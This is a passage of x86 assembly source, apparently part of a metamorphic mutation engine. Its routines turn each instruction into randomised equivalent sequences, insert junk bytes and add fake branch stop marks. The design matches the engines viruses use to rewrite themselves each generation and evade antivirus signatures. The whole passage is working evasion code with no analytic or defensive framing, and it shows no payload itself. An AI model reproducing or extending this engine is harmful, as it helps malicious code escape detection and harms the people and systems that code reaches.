mov [edi+1], eax
mov [edi+7], eax
mov eax, [ebp+Xp_SrcRegister]
mov [edi+2], eax
xor eax, eax
mov [edi+3], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenOPRegReg endp
;; This generates an OP Reg,Mem. As the functions above, we check for special
;; cases and we treat them, so the mutation is even more variated.
Xp_GenOPRegMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3 ; Single if the recursivity level is
jae @@Single ; too high to make more recursion
call Random
and eax, 7
or eax, eax ; Select "Single instruction" with a
jnz @@Single ; probability of 1/8
@@Multiple: mov eax, [ebp+Xp_8Bits]
or eax, eax ; 8 bits?
jnz @@Single ; Then make it single
mov eax, [ebp+Xp_Operation]
cmp eax, 40h ; MOV?
jz @@Multiple_MOV
@@Multiple_OP:
call RandomBoolean
or eax, eax
jz @@Single
call Xp_SaveOperation ; Generate a PUSH [Mem]
call Xp_GenPUSHMem
call Xp_GetTempVar ; Allocate a temp. variable
call Xp_GenPOPMem ; Generate a POP [TempVar]
call Xp_GenOPRegMem ; Generate a OP Reg,[TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Multiple_MOV:
call RandomBoolean ; Randomly decide if we make the
or eax, eax ; normal operation
jz @@Multiple_OP
call Xp_GenPUSHMem ; Generate PUSH [Mem]
call Xp_GenPOPReg ; Generate POP Reg
jmp Xp_DecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_Operation]
add eax, [ebp+Xp_8Bits]
add eax, 2 ; Set OP Reg,[Mem]
mov [edi], eax
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenOPRegMem endp
;; Function to generate an OP [Mem],Reg
Xp_GenOPMemReg proc
@@Start: call Xp_IncreaseRecurseLevel
cmp eax, 3 ; Single if recurs. level is too high to
jae @@Single ; recurse
call Random
and eax, 7
or eax, eax
jnz @@Single ; Select single with a prob. of 7/8
call Random
@@Multiple: mov eax, [ebp+Xp_8Bits]
or eax, eax
jnz @@Single ; Select single if the size of the
; operands is 8 bits
mov eax, [ebp+Xp_Operation]
cmp eax, 40h ; MOV?
jz @@Multiple_MOV
@@Multiple_OP:
call Xp_SaveOperation ; Make the sequence:
call Xp_GenPUSHMem ; PUSH [Mem]
call Xp_GetTempVar ; POP [TempVar]
call Xp_GenPOPMem ; OP [TempVar],Reg
mov eax, [ebp+Xp_Operation] ; PUSH [TempVar]
cmp eax, 38h ; POP [Mem]
jz @@Multiple_OP_CMP ; or if operation is CMP/TEST:
cmp eax, 48h ; PUSH [Mem]
jz @@Multiple_OP_TEST ; POP [TempVar]
@@Multiple_OP_Common: ; CMP/TEST [TempVar],Reg
call Xp_GenOPMemReg ; That CMP/TEST can be also
call Xp_GenPUSHMem ; SUB/AND, since we can modify
call Xp_RestoreOperation ; [TempVar] as we want.
call Xp_GenPOPMem
jmp Xp_DecreaseRecurseLevel
@@Multiple_OP_CMP:
mov ecx, 3Bh
mov edx, 2Bh
jmp @@Multiple_OP_CMPTEST_Common
@@Multiple_OP_TEST:
mov ecx, 23h
mov edx, 4Bh
@@Multiple_OP_CMPTEST_Common:
call RandomBoolean
or eax, eax
jz @@Multiple_OP_CMPTEST_Next
mov edx, ecx
@@Multiple_OP_CMPTEST_Next:
add edx, [ebp+Xp_8Bits]
mov [edi], edx
call Xp_CopyMemoryReference
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Multiple_MOV:
@@Multiple_MOV_Other:
call Random ; Should we make this specific-for-MOV
and eax, 3 ; operation or do we make the normal
or eax, eax ; one?
jz @@Multiple_OP ; Make the normal, then
cmp eax, 1
jz @@Multiple_MOV_1 ; Select one of the two possibilities
cmp eax, 2
jnz @@Multiple_MOV_Other
@@Multiple_MOV_2:
call Xp_GenPUSHReg ; Make PUSH Reg / POP [Mem]
call Xp_GenPOPMem
jmp Xp_DecreaseRecurseLevel
@@Multiple_MOV_1:
call Xp_SaveOperation ; Make MOV [TempVar],Reg /
call Xp_GetTempVar ; / PUSH [TempVar] / POP [Mem]
jmp @@Multiple_OP_Common
@@Single: mov eax, [ebp+Xp_Operation]
add eax, [ebp+Xp_8Bits] ; Make the pseudoopcode:
add eax, 3 ; OP + 3 = OP Mem,Reg
mov [edi], eax
call Xp_CopyMemoryReference ; Copy the operands
mov eax, [ebp+Xp_Register]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenOPMemReg endp
;; Generate an OP [Mem],Imm. Also check special cases.
;; When we work with a direct value (Imm), we have lots of new possiblities,
;; like the composed operations (ADD + SUB, MOV + OP, etc.).
Xp_GenOPMemImm proc
@@Start: call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call RandomBoolean
or eax, eax ; Single or multiple?
jz @@Single ; Decide it randomly
call Random
and eax, 7
or eax, eax ; Probability of 1/8 of making a triplet
jnz @@Double
@@Triple: mov eax, [ebp+Xp_8Bits]
or eax, eax ; Is size of operands 8 bits?
jnz @@Double ; Then, make a pair rather than this
call Xp_GenPUSHMem ; Make PUSH [Mem]
call Xp_SaveOperation
call Xp_GetTempVar ; Make POP [TempVar]
call Xp_GenPOPMem
mov eax, [ebp+Xp_Operation]
cmp eax, 38h ; CMP?
jz @@Triple_CMP
cmp eax, 48h ; TEST?
jz @@Triple_TEST
call Xp_GenOPMemImm ; Generate OP [TempVar],Imm
call Xp_GenPUSHMem ; Generate PUSH [TempVar]
call Xp_RestoreOperation
call Xp_GenPOPMem ; Generate POP [Mem]
jmp Xp_DecreaseRecurseLevel
@@Triple_CMP:
mov ecx, 2Ch ; ECX = SUB Mem,Imm
mov edx, 3Ch ; EDX = CMP Mem,Imm
jmp @@Triple_CMPTEST_Common
@@Triple_TEST:
mov ecx, 24h ; ECX = AND Mem,Imm
mov edx, 4Ch ; EDX = TEST Mem,Imm
@@Triple_CMPTEST_Common:
call RandomBoolean
or eax, eax ; Select randomly ECX or EDX
jz @@Triple_CMPTEST_Next
mov edx, ecx
@@Triple_CMPTEST_Next:
add edx, [ebp+Xp_8Bits] ; Set the size of the operands
mov [edi], edx
call Xp_CopyMemoryReference ; Make the instruction
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Double: mov eax, [ebp+Xp_Operation]
cmp eax, 40h ; MOV?
jz @@Double_MOV
or eax, eax ; ADD?
jz @@Double_ADD
cmp eax, 38h ; CMP?
jz @@Single
cmp eax, 48h ; TEST?
jz @@Single
@@Double_OP: mov eax, [ebp+Xp_FlagRegOrMem]
push eax
mov eax, 1 ; Mark that we are making
mov [ebp+Xp_FlagRegOrMem], eax ; a memory operation
call Xp_MakeComposedOPImm ; Generate a composed op.
pop ebx
mov [ebp+Xp_FlagRegOrMem], ebx ; Restore the flag
or eax, eax ; If we couldn't make it,
jnz @@Single ; jump and make a single.
jmp Xp_DecreaseRecurseLevel
@@Double_MOV:
call RandomBoolean ; Decide randomly if we do
or eax, eax ; this or a generic operation
jz @@Double_OP
mov eax, [ebp+Xp_8Bits] ; If size is 8 bits, we can't
or eax, eax ; make this option
jnz @@Double_OP
call Xp_GenPUSHImm ; Generate a PUSH Imm
call Xp_GenPOPMem ; Generate a POP [Mem]
jmp Xp_DecreaseRecurseLevel
@@Double_ADD:
call RandomBoolean
or eax, eax
jz @@Double_OP
mov eax, [ebp+Xp_Immediate]
cmp eax, 1 ; ADD Mem,1?
jz @@Double_ADD_NOTNEG ; Then try NOT+NEG
cmp eax, -1 ; ADD Mem,-1?
jnz @@Double_OP ; Then try NEG+NOT
@@Double_ADD_NEGNOT:
call Xp_GenNEGMem ; Generate NEG Mem
call Xp_GenNOTMem ; Generate NOT Mem
jmp Xp_DecreaseRecurseLevel ; Effectively decreases Mem
@@Double_ADD_NOTNEG:
call Xp_GenNOTMem ; Generate NOT Mem
call Xp_GenNEGMem ; Generate NEG Mem
jmp Xp_DecreaseRecurseLevel ; Effectively increases Mem
@@Single: mov eax, [ebp+Xp_Operation] ; Get the operation
cmp eax, 30h ; XOR?
jz @@Single_XOR
or eax, eax ; ADD?
jz @@Single_ADD
@@Single_OP: mov eax, [ebp+Xp_Operation] ; Set OP Mem,Imm
add eax, [ebp+Xp_8Bits]
add eax, 4
mov [edi], eax
call Xp_CopyMemoryReference ; Copy the operands
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_XOR: ; Check if we are making
mov eax, [ebp+Xp_Immediate] ; XOR Mem,-1
cmp eax, -1
jnz @@Single_OP ; If we are, we can code it
call RandomBoolean ; also as NOT Mem
or eax, eax
jz @@Single_OP
call Xp_GenNOTMem
jmp Xp_DecreaseRecurseLevel
@@Single_ADD:
call RandomBoolean ; If we do ADD Mem,1/-1, we
or eax, eax ; can use INC Mem or DEC Mem
jz @@Single_OP
mov eax, [ebp+Xp_Immediate]
cmp eax, 1
jz @@Single_INC
cmp eax, -1
jnz @@Single_OP
@@Single_DEC:
mov ebx, 8 ; Set DEC if Imm == -1
@@Single_INCDEC_Common:
mov eax, [ebp+Xp_8Bits] ; Set the size of the operation
add eax, 4Fh ; Set the opcode (local, this
mov [edi], eax ; opcode only exists between the
push ebx ; expander and the assembler).
call Xp_CopyMemoryReference ; Copy the rest of the operands
pop ebx
mov [edi+7], ebx ; Set the operation: INC or DEC
add edi, 10h
jmp Xp_DecreaseRecurseLevel
@@Single_INC:
xor ebx, ebx ; Set INC if Imm == 1
jmp @@Single_INCDEC_Common
Xp_GenOPMemImm endp
;; Generate a PUSH Reg
Xp_GenPUSHReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single ; 1/4 to generate a complex PUSH
@@Multiple: call Xp_SaveOperation
call Xp_GetTempVar ; Allocate a temporary variable
mov eax, 40h
mov [ebp+Xp_Operation], eax ; Make a MOV [TempVar],Reg
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg
call Xp_GenPUSHMem ; Make a PUSH [TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 50h ; Construct the PUSH Reg
Xp_GenPUSHReg_Common:
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenPUSHReg endp
;; Generate a PUSH [Mem]
Xp_GenPUSHMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 7 ; Chance of 1/8 of generating a complex
or eax, eax ; PUSH
jnz @@Single
call Xp_SaveOperation
call Xp_GenPUSHMem ; Make a PUSH [Mem]
call Xp_GetTempVar ; Make a POP [TempVar]
call Xp_GenPOPMem
call Xp_GenPUSHMem ; Make a PUSH [TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 51h ; Construct the PUSH Mem directly
Xp_GenPUSHMem_Common:
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenPUSHMem endp
;; Generate a POP Reg
Xp_GenPOPReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single ; Chance of 1/4 to make it complex
@@Multiple: call Xp_SaveOperation
call Xp_GetTempVar ; Get a temporary variable
call Xp_GenPOPMem ; Make a POP [TempVar]
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegMem ; Make a MOV Reg,[TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 58h ; Make the POP Reg directly
jmp Xp_GenPUSHReg_Common
Xp_GenPOPReg endp
;; POP Mem is direct this time. If not, too many PUSH/POP Mem are generated
Xp_GenPOPMem proc
call Xp_IncreaseRecurseLevel
@@Single: mov eax, 59h
jmp Xp_GenPUSHMem_Common
Xp_GenPOPMem endp
;; Generate a PUSH Imm
Xp_GenPUSHImm proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call RandomBoolean
or eax, eax ; Chance of 1/2 of making it complex
jz @@Single
@@Multiple: call Xp_SaveOperation
call Xp_GetTempVar ; Get a temporary variable
mov eax, 40h ; Make a MOV [TempVar],Imm
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemImm
call Xp_GenPUSHMem ; Make a PUSH [TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 68h
mov [edi], eax ; Make the instruction directly
mov eax, [ebp+Xp_Immediate]
mov [edi+7], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenPUSHImm endp
;; LEA:
;; As an instruction, LEA is only used for compressing instructions that will
;; be expanded here. If we find a LEA in the final x86 codification, it's a
;; LEA that is converted by the shrinker in MOV, ADD or any like that.
;; Using LEA in this way allow us to have a mini-embedded instruction swapper
;; 100% compatible in all cases.
Xp_GenLEA proc
call Xp_SaveOperation ; Save the operation
mov eax, [ebp+Xp_Mem_Index1]
cmp eax, [ebp+Xp_Register] ; Index1 == destiny register?
jz @@Addition1 ; Then, addition
mov eax, [ebp+Xp_Mem_Index2]
cmp eax, [ebp+Xp_Register] ; Index2 == destiny register?
jz @@Addition2 ; Then, addition
mov eax, 40h
mov [ebp+Xp_Operation], eax ; Set MOV as first instruct.
@@MOV_Other:
call Random
and eax, 3
or eax, eax
jz @@MOV_Other
cmp eax, 1
jz @@MOV_FirstIndex1 ; Make MOV/ADD with first index
cmp eax, 2
jz @@MOV_FirstIndex2 ; Make MOV/ADD with second index
@@MOV_FirstAddition: ; Make MOV/ADD with DWORD addition
mov eax, [ebp+Xp_Mem_Addition]
or eax, eax
jz @@MOV_Finished2 ; It's 0? Then look if we finished
mov [ebp+Xp_Immediate], eax
call Xp_GenOPRegImm ; Generate a MOV/ADD Reg,Imm
xor eax, eax ; Set ADD operation from now
mov [ebp+Xp_Mem_Addition], eax
jmp @@MOV_Finished
@@MOV_FirstIndex1:
mov eax, [ebp+Xp_Mem_Index1] ; Get the first index
cmp eax, 8 ; If 8 (no_reg), jump to look
jz @@MOV_Finished2 ; if we finished
mov [ebp+Xp_SrcRegister], eax ; Set the register and gen.
call Xp_GenOPRegReg ; a MOV/ADD Reg,Reg1
mov eax, 8
mov [ebp+Xp_Mem_Index1], eax ; Anulate the register
jmp @@MOV_Finished
@@MOV_FirstIndex2:
mov eax, [ebp+Xp_Mem_Index2] ; Get the 2nd register and
cmp eax, 8 ; look if we have finished
jz @@MOV_Finished2
cmp eax, 8 ; If it hasn't a multiplicator
jb @@MOV_FirstIndex2_Set ; then make the MOV/ADD
sub eax, 40h ; Subtract the multiplicator
@@MOV_FirstIndex2_Set:
mov [ebp+Xp_SrcRegister], eax ; Set the source register
call Xp_GenOPRegReg ; Generate a MOV/ADD Reg,Reg2
mov eax, [ebp+Xp_Mem_Index2]
cmp eax, 7 ; Do it have a multiplicator?
jbe @@MOV_FirstIndex2_Set8 ; If not, eliminate the reg.
sub eax, 40h ; Eliminate the multiplicator
mov [ebp+Xp_Mem_Index2], eax ; Set the clear register
jmp @@MOV_Finished
@@MOV_FirstIndex2_Set8:
mov eax, 8 ; Set no_reg
mov [ebp+Xp_Mem_Index2], eax
@@MOV_Finished:
xor eax, eax ; Set ADD as operation from
mov [ebp+Xp_Operation], eax ; now
@@MOV_Finished2:
mov eax, [ebp+Xp_Mem_Index1] ; Get the index1
cmp eax, 8 ; If it's not no_reg, then
jnz @@MOV_Other ; it's not finished
mov eax, [ebp+Xp_Mem_Index2] ; Get the index2
cmp eax, 8 ; no_reg?
jnz @@MOV_Other ; If not, continue
mov eax, [ebp+Xp_Mem_Addition]
or eax, eax ; Check if addition is 0
jnz @@MOV_Other ; If not, continue
call Xp_RestoreOperation ; We finish when both indexes are
ret ; 8 and the addition is 0
@@Addition1: mov eax, 8
mov [ebp+Xp_Mem_Index1], eax ; Set 8 as Index1 and put ADD
jmp @@MOV_Finished ; to make it directly
@@Addition2: mov eax, 8
mov [ebp+Xp_Mem_Index2], eax ; Set 8 as Index2 and start
jmp @@MOV_Finished ; with ADD instead as with MOV
Xp_GenLEA endp
;; Generate a NOT Reg
Xp_GenNOTReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax ; Generate a complex NOT with
jnz @@Single ; a prob. of 1/4
call Xp_GenNEGReg ; Generate a NEG
call Xp_SaveOperation
mov eax, -1 ; And now generate an ADD Reg,-1
Xp_GenNOTReg_Common:
mov [ebp+Xp_Immediate], eax
xor eax, eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPRegImm
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_8Bits] ; Generate directly the NOT
or eax, eax
jz @@NOT32
mov eax, 0E2h
jmp @@NOT_
@@NOT32: mov eax, 0E0h
@@NOT_:
Xp_GenNOTReg_Common_Direct:
mov [edi], eax ; Construct the NOT/NEG instruction
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenNOTReg endp
;; Generate a NEG Reg instruction or group of instructions that do the same
Xp_GenNEGReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_GenNOTReg ; Make a NOT Reg + ADD Reg,1
call Xp_SaveOperation
mov eax, 1
jmp Xp_GenNOTReg_Common
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NEG32
mov eax, 0E6h
jmp Xp_GenNOTReg_Common_Direct
@@NEG32: mov eax, 0E4h
jmp Xp_GenNOTReg_Common_Direct
Xp_GenNEGReg endp
;; Generate a NOT Mem
Xp_GenNOTMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
; Complex:
call Xp_GenNEGMem ; Generate a NEG Mem + ADD Mem,-1
call Xp_SaveOperation
mov eax, -1
Xp_GenNOTMem_Common:
mov [ebp+Xp_Immediate], eax
xor eax, eax
mov [ebp+Xp_Operation], eax
call Xp_GenOPMemImm
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NOT32
mov eax, 0E3h
jmp @@NOT_
@@NOT32: mov eax, 0E1h
@@NOT_:
Xp_GenNOTMem_Common_Direct:
mov [edi], eax ; Construct the NOT/NEG Mem instrc.
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenNOTMem endp
;; Generate a NEG Mem
Xp_GenNEGMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
; Complex:
call Xp_GenNOTMem ; Make NOT Mem + ADD Mem,1
call Xp_SaveOperation
mov eax, 1
jmp Xp_GenNOTMem_Common
@@Single: mov eax, [ebp+Xp_8Bits]
or eax, eax
jz @@NEG32
mov eax, 0E7h
jmp Xp_GenNOTMem_Common_Direct
@@NEG32: mov eax, 0E5h
jmp Xp_GenNOTMem_Common_Direct
Xp_GenNEGMem endp
;; Generate a RET operation
Xp_GenRET proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single ; Put it directly with a prob. of 1/4
call Xp_SaveOperation
call Xp_GetTempVar ; Allocate a temporary variable
call Xp_GenPOPMem ; Make a POP [TempVar]
call Xp_GenJMPMem ; Make a JMP [TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 0FEh ; Code the RET directly and
mov [edi], eax ; generate some not-reachable
add edi, 10h ; garbage.
jmp Xp_DecreaseRecurseLevel
Xp_GenRET endp
;; Generate a CALL Reg
Xp_GenCALLReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3 ; Make it complex with a prob. of
or eax, eax ; 1/4
jnz @@Single
call Xp_SaveOperation
call Xp_GetTempVar ; Let's make MOV [TempVar],Reg +
mov eax, 40h ; + CALL [TempVar]
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg
call Xp_GenCALLMem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 0ECh ; Code the CALL directly
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenCALLReg endp
;; Generate a CALL Mem (used for API calls, so EAX, ECX and EDX regs. are free
;; for use).
Xp_GenCALLMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call RandomBoolean
or eax, eax
jnz @@Single ; Make it complex with a prob. of 1/2
@@Multiple: call RandomBoolean
or eax, eax
jz @@Multiple_Reg ; Here we can use EAX,ECX or EDX
call Xp_SaveOperation
call Xp_GenPUSHMem ; Make PUSH [Mem]
call Xp_GetTempVar
call Xp_GenPOPMem ; Make POP [TempVar]
call Xp_GenCALLMem ; Make CALL [TempVar]
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Multiple_Reg:
call Xp_SaveOperation
@@Multiple_Reg_Again:
call Random
and eax, 3
cmp eax, 3
jz @@Multiple_Reg_Again ; Get EAX, ECX or EDX
mov [ebp+Xp_Register], eax
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegMem ; Make MOV EAX/ECX/EDX,[Mem]
call Xp_GenCALLReg ; Make CALL EAX/ECX/EDX
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@Single: mov eax, 0EAh ; Code the CALL [Mem] directly
Xp_GenCALLMem_Common:
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_DecreaseRecurseLevel
Xp_GenCALLMem endp
;; Generate a JMP Reg
Xp_GenJMPReg proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call RandomBoolean
or eax, eax
jz @@Single
call Random
and eax, 3 ; Make it complex with a prob. of 1/4
or eax, eax
jz @@Double_1
@@Double_0: call Xp_SaveOperation
call Xp_GetTempVar ; Allocate a temporary variable
mov eax, 40h
mov [ebp+Xp_Operation], eax
xor eax, eax
mov [ebp+Xp_8Bits], eax
call Xp_GenOPMemReg ; Make a MOV [TempVar],Reg
call Xp_GenJMPMem ; Make a JMP [TempVar]
call Xp_RestoreOperation ; Generate some not-reachable
jmp Xp_EndJmp ; garbage
@@Double_1: call Xp_GenPUSHReg ; Make PUSH Reg + RET
call Xp_GenRET
jmp Xp_EndJmp
@@Single: mov eax, 0EDh ; Make the JMP Reg directly
mov [edi], eax
mov eax, [ebp+Xp_Register]
mov [edi+1], eax
add edi, 10h
jmp Xp_EndJmp ; Make some garbage
Xp_GenJMPReg endp
;; Generate a JMP [Mem]
Xp_GenJMPMem proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single
call Random
and eax, 3
or eax, eax
jnz @@Single
call Xp_SaveOperation
call Xp_GenPUSHMem ; Make PUSH Mem
call Xp_GetTempVar
call Xp_GenPOPMem ; Make POP Mem
call Xp_GenJMPMem ; Make JMP Mem
call Xp_RestoreOperation
jmp Xp_EndJmp ; Generate some garbage
@@Single: mov eax, 0EBh ; Code the JMP Mem directly
mov [edi], eax
call Xp_CopyMemoryReference
add edi, 10h
jmp Xp_EndJmp
Xp_GenJMPMem endp
;; This function generates a JMP @xxx or a group of instructions that make
;; the same, like CMP Reg,Reg/JZ @xxx.
Xp_GenJMP proc
call Xp_IncreaseRecurseLevel
cmp eax, 3
jae @@Single ; Increase the recurse level and make the JMP
; directly if we are too deep in recursivity
mov eax, [ebp+AddressOfLastInstruction]
sub eax, 10h
cmp eax, esi ; Check if we are making the last instrc.
jz @@Single ; If so, code it directly
call Random
and eax, 7 ; Make a complex JMP with a prob. of 1/8
or eax, eax
jnz @@Single
@@Double_Other:
call Random ; Now select the type of complext JMP we
and eax, 3 ; are going to make.
or eax, eax
jz @@Double_Other
cmp eax, 1 ; Make Jcc(even) + Jcc(odd) or vicev.
jz @@Double_JccJcc
cmp eax, 2 ; Make CMP + Jcc
jz @@Double_CMPJcc
; Let's do Jcc + Jcc (2nd version)
mov edx, 73h
mov ecx, 76h
@@Double_JccJcc2:
call Random
or eax, eax ; Make a random selection of two
jz @@Double_JccJcc2_Next ; types of conditional jumps from
mov edx, 75h ; the set JAE, JBE, JNZ: any
@@Double_JccJcc2_Next: ; combination of two of these
call RandomBoolean ; types one after another will
or eax, eax ; perform an unconditional JMP.
jz @@Double_JccJcc2_Next02
mov eax, edx ; Exchange them randomly
mov edx, ecx
mov ecx, eax
@@Double_JccJcc2_Next02:
call Xp_SaveOperation
push ecx ; Set the first Jcc (EDX)
mov [ebp+Xp_Operation], edx
call Xp_GenJcc_SingleJcc ; Make a direct Jcc
pop ecx ; Set the second Jcc (ECX)
mov [ebp+Xp_Operation], ecx
call Xp_GenJcc_SingleJcc ; Make the direct Jcc
call Xp_RestoreOperation
jmp @@InsertStopMark ; Since there aren't branch-end
; instructions (although when executed they
; will never pass beyond), we must insert
; a branch-end instruction to force the
; disassembler to stop the branch of code.
@@Double_CMPJcc:
call Xp_SaveOperation ; Let's make a CMP Reg,Reg/Jcc
mov eax, 38h
mov [ebp+Xp_Operation], eax
@@Double_CMPJcc_x:
call Random ; Get a register to compare
and eax, 7
cmp eax, 4 ; Don't play with ESP!
jz @@Double_CMPJcc_x
mov [ebp+Xp_Register], eax ; Set source and destiny
mov [ebp+Xp_SrcRegister], eax ; register as the same
xor eax, eax ; Set a size of 32 bits
mov [ebp+Xp_8Bits], eax
call Xp_GenOPRegReg ; Construct the comparision instrc.
call Xp_GetSpecialJcc ; Get a Jcc that is prepared for
@@Double_CMPJcc_Common: ; this type of operation
xor eax, 1 ; Invert the last bit, since the
mov [ebp+Xp_Operation], eax ; returned Jcc is prepared
; to make a NOP operation.
call Xp_GenJcc_SingleJcc ; Make the Jcc as a single ins.
call Xp_RestoreOperation
jmp @@InsertStopMark ; Set a stop mark.
@@Double_JccJcc:
call Xp_SaveOperation ; Other type of a pair of Jccs that
call Random ; always jump: any conditional jump
and eax, 0Fh ; with even opcode has its opposite
add eax, 70h ; in the same opcode but setting last
mov [ebp+Xp_Operation], eax ; bit to 1. So, we select a
push eax ; random conditional jump, we
call Xp_GenJcc_SingleJcc ; insert it, and after that we
pop eax ; insert the same Jcc but with the
jmp @@Double_CMPJcc_Common ; bit 0 inversed. Example:
; JZ @xxx + JNZ @xxx
; JB @xxx + JAE @xxx
@@Single: mov eax, 0E9h ; The jump directly.
mov [edi], eax
mov eax, [ebp+Xp_Immediate]
mov [edi+1], eax
add edi, 10h
Xp_EndJmp:
call Random ; Now make garbage bytes with a prob.
and eax, 3 ; of 1/4
or eax, eax
jnz Xp_DecreaseRecurseLevel
call Random ; Make a quantity of bytes from 1 to 8
and eax, 7
add eax, 1
mov ecx, eax
@@LoopInsert:
call Random ; Get a random byte
mov al, 0FDh ; Set FD pseudoopcode (it means "insert
mov [edi], eax ; this byte directly into the code").
add edi, 10h
sub ecx, 1
or ecx, ecx ; Repeat it the random number that we
jnz @@LoopInsert ; got before
jmp Xp_DecreaseRecurseLevel
;; Let's insert an instruction that acts as a stop mark for the code branch.
;; This is necessary because if we code a jump as a CMP Reg,Reg / JZ @xxx,
;; the disassembler will continue tracing the code after the JZ (it's just
;; a conditional jump, not an unconditional one). So, we must set a "release"
;; mark that makes the disassembler to stop processing this line of code: RET,
;; JMP Reg or JMP Mem.
@@InsertStopMark:
call Random
and eax, 3
or eax, eax ; 0?
jz @@InsertStopMark ; Then select another number
cmp eax, 1
jz @@GenerateRET ; Make RET
cmp eax, 2
jz @@GenerateJMPMem ; Make JMP Mem
; Make a JMP Reg. We don't care where it goes, since it's never
; going to be executed.
@@GenerateJMPReg:
call Xp_SaveOperation
call Random ; Get a random register
and eax, 7 ; Set it
mov [ebp+Xp_Register], eax
xor eax, eax ; Mark 32 bits size
mov [ebp+Xp_8Bits], eax
call Xp_GenJMPReg ; Generate a JMP Reg
jmp Xp_RestoreOpAndDecreaseRecurseLevel
; Make a JMP [Mem]
@@GenerateJMPMem:
call Xp_SaveOperation ; Allocate a temporary variable
call Xp_GetTempVar
; mov eax, [ebp+Xp_Immediate] ; Something that I did and
; and eax, 0FFFF00FFh ; I don't remember why... :?
; mov [ebp+Xp_Immediate], eax
call Xp_GenJMPMem ; Generate a JMP Mem
jmp Xp_RestoreOpAndDecreaseRecurseLevel
@@GenerateRET:
call Xp_GenRET ; Generate a RET
jmp Xp_DecreaseRecurseLevel
Xp_GenJMP endp
;; This function generates a conditional jump directly or composed. Here we
;; use all the variants the shrinker is capable to shrink (obviously, because
;; if not this jumps would never be compressed).
Xp_GenJcc proc
call Xp_IncreaseRecurseLevel
cmp eax, 2 ; Code the composed jumps only on the first
jae @@Single ; levels of recursivity
call Random
and eax, 3 ; Make it directly with a prob. of 75%
or eax, eax
jnz @@Single
@@Double: call Random
and eax, 0Fh
or eax, eax ; Get a chance of 1/16
jnz @@Double2 ; If the odds selected the other 15/16,
; make a normal double
mov eax, 1 ; Mark the conditional jump as being
mov [edi+7], eax ; coded as NEG_Jcc + JMP. For example:
call @@InternalSingle2 ; JZ @x --> JNZ @y/JMP @x/ @y:
jmp Xp_DecreaseRecurseLevel
@@Double2: mov eax, [ebp+Xp_Operation]
